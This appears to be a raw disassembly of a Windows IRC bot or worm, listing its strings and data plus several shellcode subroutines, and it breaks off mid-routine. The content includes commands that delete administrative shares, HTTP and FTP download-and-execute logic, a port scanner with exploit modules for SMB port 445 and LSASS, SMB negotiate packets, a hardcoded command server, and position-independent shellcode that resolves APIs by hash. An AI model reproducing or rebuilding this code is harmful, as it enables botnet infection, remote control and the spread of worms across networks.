db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4445EC: ; DATA XREF: sub_403530+66o
; sub_410030:loc_41090Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo
; sub_404CC0+AEBo ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo
; sub_404CC0+B58o ...
align 10h
asc_444600: ; DATA XREF: sub_404690:loc_40476Fo
; sub_404690+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404690+75o
; sub_410030:loc_410A19o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
align 8
aN: ; DATA XREF: sub_404CC0+D1Do
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o
; sub_41C130+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o
; sub_404CC0+9ABo ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_4068E0+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo
a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_4068E0+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_4068E0+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do
; ___:00406E85o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o
; sub_40ED00+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o
dd 0
dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A4o ...
dword_4447F8 dd 2Eh ; ___:0041B2DAo ...
aMicrosoftVisua db 'MicroSoft Visual SP2',0 ; DATA XREF: sub_4077E0+403o
align 8
aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o
align 10h
aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o
align 10h
aSet db 'set',0 ; DATA XREF: sub_4077E0+359o
asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o
align 4
aAyssds4ddklfsd db 'ayssds4ddklfsdf',0 ; DATA XREF: sub_4077E0+337o
dd 0
aIgfsfdfsd32_ex db 'igfsfdfsd32.exe',0 ; DATA XREF: sub_4077E0+326o
align 10h
aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o
align 4
aM db '##m',0 ; DATA XREF: sub_4077E0+307o
aM_0 db '##m##',0 ; DATA XREF: sub_4077E0+2F6o
align 4
a6701 db '6701',0 ; DATA XREF: sub_4077E0+29Bo
align 4
aGx_arabhell_ne db 'Gx.arabhell.net',0 ; DATA XREF: sub_4077E0+283o
align 10h
off_444890 dd offset off_43F1D4 ; DATA XREF: ___:00440014o
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4448B0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_4448D8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
; ___:0040AA51o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo
; sub_40B7E0+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B87Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B924o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C4E0+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o
align 10h
dword_444A00 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C4E0+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o
dd 0
asc_444AD4: ; DATA XREF: sub_40CC90+113o
; sub_4201F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o
align 4
aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o
; sub_40F060+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
align 10h
dd 0
asc_444C54 db ' :',0 ; DATA XREF: sub_410030+E2Bo
; sub_410030+1118o ...
align 4
asc_444C58: ; DATA XREF: sub_410030+CACo
; sub_410030+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o
; sub_410030:loc_410C87o
aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo
; sub_410030:loc_410C66o
asc_444C64: ; DATA XREF: sub_410030+871o
; sub_410030:loc_410CA8o ...
unicode 0, <:>,0
a@: ; DATA XREF: sub_410030+7CCo
; sub_410030+D2Do ...
unicode 0, <@>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
; sub_410030+732o ...
align 4
dd 0
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 8
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o
; sub_412780+91o ...
align 8
aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
align 4
aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o
; sub_426070+12Do ...
align 10h
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
; sub_412A40+8Fo
align 10h
aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo
align 4
aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o
align 4
a_ db '. ',0 ; DATA XREF: sub_412780+CAo
; sub_412780+E5o
align 4
aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo
align 4
aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o
align 4
aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao
align 4
asc_444D08: ; DATA XREF: ___:loc_412F33o
dw 3Ch
unicode 0, <>,0
asc_444D0C: ; DATA XREF: ___:loc_412F1Co
dw 3Eh
unicode 0, <>,0
asc_444D10 db '==',0 ; DATA XREF: ___:loc_412F05o
align 4
asc_444D14 db '!=',0 ; DATA XREF: ___:00412EF1o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o
align 10h
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o
align 10h
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o
; sub_4193C0+29Bo
align 4
aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o
align 4
aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o
dd 0
off_444D54 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o
; ___:0042C5F2o ...
dword_444D58 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo
dword_444D64 dd 652Dh dword_444D68 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
align 10h
dd 0
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo
align 4
byte_444DA4 db 1 ; DATA XREF: sub_41A390r
align 4
dword_444DA8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_444DF4: ; DATA XREF: ___:00421859o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_444E08 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54 dd 63257325h, 0 ; sub_41F960+E5o
dword_444E5C dd 72h dword_444E60 dd 30h ; sub_424920+327o
dword_444E64 dd 3039h dword_444E68 dd 383631h dword_444E6C dd 323931h dword_444E70 dd 3631h dword_444E74 dd 323731h dword_444E78 dd 3031h off_444E7C dd offset dword_5C005C ; DATA XREF: ___:0041C217r
; ___:0041C387r
word_444E80 dw 0 ; DATA XREF: ___:0041C221r
; ___:0041C391r
align 4
off_444E84 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r
; ___:0041C356r
off_444E88 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr
; ___:0041C35Br
dword_444E8C dd 24h ; ___:0041C37Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o
align 8
asc_444EC8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o
; ___:0041FD87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E47Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E42Fo
dd 0
dword_444FCC dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC dd 6469706Bh, 7325203Ah, 0dword_444FE8 dd 203A736Bh, 7325hdword_444FF0 dd 202E6425h, 7325202Fh, 0dword_444FFC dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+694o
; sub_41F030+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030:loc_41F695o
; sub_41F030+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41F030+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41F030+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+505o
; sub_41F030+51Ao
align 4
asc_445078: ; DATA XREF: sub_41F030+2EFo
; sub_41F030+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+286o
; sub_41F030+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+254o
; sub_41F030+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+222o
; sub_41F030+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41F030+1F3o
; sub_41F030+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FDBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_420090:loc_4200E5o
; sub_420630+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4201F0+CBo
; sub_4208E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
; sub_4208E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420630+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420630+20o
; sub_420630+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4208E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4208E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4208E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4208E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4208E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4208E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4208E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4208E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4208E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4208E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4208E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4208E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4208E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4208E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4208E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4208E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4208E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4208E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4208E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4208E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4208E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4208E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4208E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4208E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4208E0+EEo
align 4
off_4452F4 dd offset word_616C4E ; DATA XREF: sub_4208E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4208E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4208E0+CDo
align 4
off_44530C dd offset byte_4D444D ; DATA XREF: sub_4208E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4208E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4208E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4208E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4208E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4208E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4208E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4208E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4208E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4208E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4208E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4208E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4208E0+55o
; sub_4208E0:loc_420B6Bo
align 10h
asc_4453E0: ; DATA XREF: sub_420F10:loc_420FCFo
; sub_420F10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420F10+94o
; sub_420F10:loc_42117Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420F10+84o
; sub_420F10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4228F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_445418 dd 1BDh ; sub_422B40+310o ...
off_44541C dd offset sub_401820 ; DATA XREF: ___:00423F8Dr
dword_445420 dd 0 ; sub_4236F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401820h, 0
dd 1, 0
aNet445 db 'net445',0
align 10h
dd 656E0000h, 35343474h, 6 dup(0)
dd 1BDh, 402199h, 0
dd 1, 0
aLsass db 'lsass',0
align 4
dd 736C0000h, 737361h, 6 dup(0)
dd 1BDh, 401DCAh, 0
dd 1, 1Fh dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422B40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
align 4
dd 0
aB db ' -b',0 ; DATA XREF: sub_422B40+747o
off_4455E0 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o
; sub_422B40+7A3o ...
dword_4455E4 dd 722D20h ; sub_422B40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do
align 4
dd 0
dword_4456DC dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
; ___:off_447670o
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423DD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004242B7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424206o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042414Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo
align 10h
dword_4458A0 dd 10FF8h, 0 dword_4458A8 dd 10FF8h dword_4458AC dd 7FFDF020h, 0 dword_4458B4 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44593C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_44596C dd 0 dword_445970 dd 800000D4h align 8
; =============== S U B R O U T I N E =======================================
sub_445978 proc near ; DATA XREF: sub_425100+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_445A74
push dword ptr [esi]
push 63D61209h
call sub_445A8A
mov [esi+8], eax
call sub_445A3D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_445A8A
mov [esi+0Ch], eax
call sub_4459EF
push dword ptr [esi+4]
push 4C0297FAh
call sub_445A8A
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_445978 endp
; =============== S U B R O U T I N E =======================================
sub_4459EF proc near ; CODE XREF: sub_445978+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_445A18
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_4459EF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A18 proc near ; CODE XREF: sub_4459EF+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_445A27: ; CODE XREF: sub_445A18+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_445A34
inc ebx
jmp short loc_445A27
; ---------------------------------------------------------------------------
loc_445A34: ; CODE XREF: sub_445A18+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_445A18 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A3D proc near ; CODE XREF: sub_445978+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_445A55: ; CODE XREF: sub_445A3D+1Ej
cmp [ecx], ebx
jz short loc_445A5D
mov ecx, [ecx]
jmp short loc_445A55
; ---------------------------------------------------------------------------
loc_445A5D: ; CODE XREF: sub_445A3D+1Aj
mov edx, edi
loc_445A5F: ; CODE XREF: sub_445A3D+2Aj
cmp [edx+4], ebx
jz short loc_445A69
mov edx, [edx+4]
jmp short loc_445A5F
; ---------------------------------------------------------------------------
loc_445A69: ; CODE XREF: sub_445A3D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_445A3D endp
; =============== S U B R O U T I N E =======================================
sub_445A74 proc near ; CODE XREF: sub_445978+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_445A74 endp
; =============== S U B R O U T I N E =======================================
sub_445A8A proc near ; CODE XREF: sub_445978+16p
; sub_445978+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
